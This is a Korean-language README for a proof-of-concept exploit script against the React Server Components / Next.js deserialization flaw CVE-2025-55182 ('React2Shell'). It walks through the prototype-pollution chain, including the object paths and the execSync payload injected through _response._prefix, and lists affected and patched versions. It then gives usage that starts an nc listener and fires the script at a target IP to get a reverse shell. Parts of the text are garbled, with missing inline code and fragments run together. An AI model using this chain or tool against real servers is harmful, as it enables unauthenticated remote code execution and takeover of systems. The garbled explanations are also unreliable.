
CVE-2025-55182/66478에 대한 개념 증명 익스플로잇으로, React Server Components 역직렬화 RCE를 통해 조작된 multipart 요청으로 리버스 셸을 전달합니다.
CVE-2025-55182에 대한 개념 증명 익스플로잇 — 공개적으로
"React2Shell" 이라는 별명으로 알려진, React Server Components의
Server Actions 역직렬화(react-server-dom-webpack / -parcel / -turbopack)에서
발생하는 서버 측 프로토타입 오염 취약점입니다. Next.js는 이 취약점을
CVE-2025-66478 ID로 추적했습니다(NVD에서 중복으로 기각되었지만,
특히 Next.js에 미치는 영향에 대해 논의할 때 일반적으로 사용되는 식별자입니다).
단일하게 조작된 multipart HTTP 요청이 Object.prototype을 오염시키고
프로토타입 체인을 따라 Function 생성자에 도달하여, 인증되지 않은
공격자가 서버 프로세스에서 임의의 Node.js 코드를 실행할 수 있게 합니다 — CVSS 10/10.
근본 원인. RSC action-reply 역직렬화기(requireModule)는 클라이언트가
보낸 객체 경로(예: "$1:__proto__:then")를 와 같은 예약/위험한
키가 아닌지 검증하지 않고 해석합니다. 일반 객체에 를 설정하면
자체가 오염되어, 이후 생성되는 모든 객체가 공격자가
제어하는 속성을 상속받게 됩니다.
__proto____proto__Object.prototype익스플로잇 체인.
then → "$1:__proto__:then" — 프로토타입 체인에 접근합니다._response._formData.get → "$1:constructor:constructor" — 오염된
프로토타입에서 Function 생성자로 이동합니다._response._prefix — 공격자가 제어하는 문자열로, 서버가 조작된
"thenable"(가짜 Promise-유사 객체)을 해석하려고 할 때 실행되는
코드에 삽입됩니다. 이 PoC는 이를
process.mainModule.require('child_process').execSync('<cmd>')로 설정합니다.Next-Action 헤더와 함께 앱 루트로의 POST 요청에
두 개의 multipart 필드(0, 1)로 제출되며, 이는 요청을 취약한
Server Actions 핸들러로 직접 라우팅합니다.영향을 받는 버전 (Datadog 분석 기준):
| 라이브러리 | 취약한 버전 | 패치된 버전 |
|---|---|---|
react-server-dom-parcel | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-webpack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-turbopack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
Next.js는 App Router 사용 시 15.x, 16.x, 14.3.0-canary.77+ 버전에서 영향을 받습니다. 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7에서 패치되었습니다.
승인된 보안 테스트 및 교육 목적으로만 사용하십시오(예: CTF/HTB 랩, 자체 인프라, 또는 서면 승인을 받은 작업). 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 대해 실행하지 마십시오.
curlbashnc -lvnp <port>) — -c로 자체 명령을
제공하지 않는 경우 필요busybox nc를 실행해야 함
(또는 대상에서 사용 가능한 셸 유틸리티에 맞게 -c를 조정)chmod +x exploit.sh
./exploit.sh -t <target> -L <lport> [options]
| 플래그 | 필수 | 설명 |
|---|---|---|
-t, --target | 예 | 취약한 Next.js 앱을 실행 중인 대상 호스트/IP |
-L, --lport | 예* | 리스너가 바인딩된 로컬 포트 |
-p, --port | 아니요 | 대상 포트(기본값: 3000) |
-l, --lhost | 아니요 | 콜백용 IP(기본값: 자동 감지) |
-i, --iface | 아니요 | --lhost를 자동 감지할 인터페이스 |
-c, --command | 아니요 | 대상에서 실행할 사용자 지정 명령(기본 리버스 셸을 재정의) |
--timeout | 아니요 | curl 요청 시간 제한(초)(기본값: 3) |
-v, --verbose | 아니요 | 요청/응답 세부 정보 출력 |
-h, --help | 아니요 | 도움말 표시 |
* 대신 -c/--command를 제공하는 경우 필요하지 않음.
# 1) 리스너 시작
rlwrap nc -lvnp 9090
# 2) 익스플로잇 트리거
./exploit.sh -t 10.129.245.214 -L 9090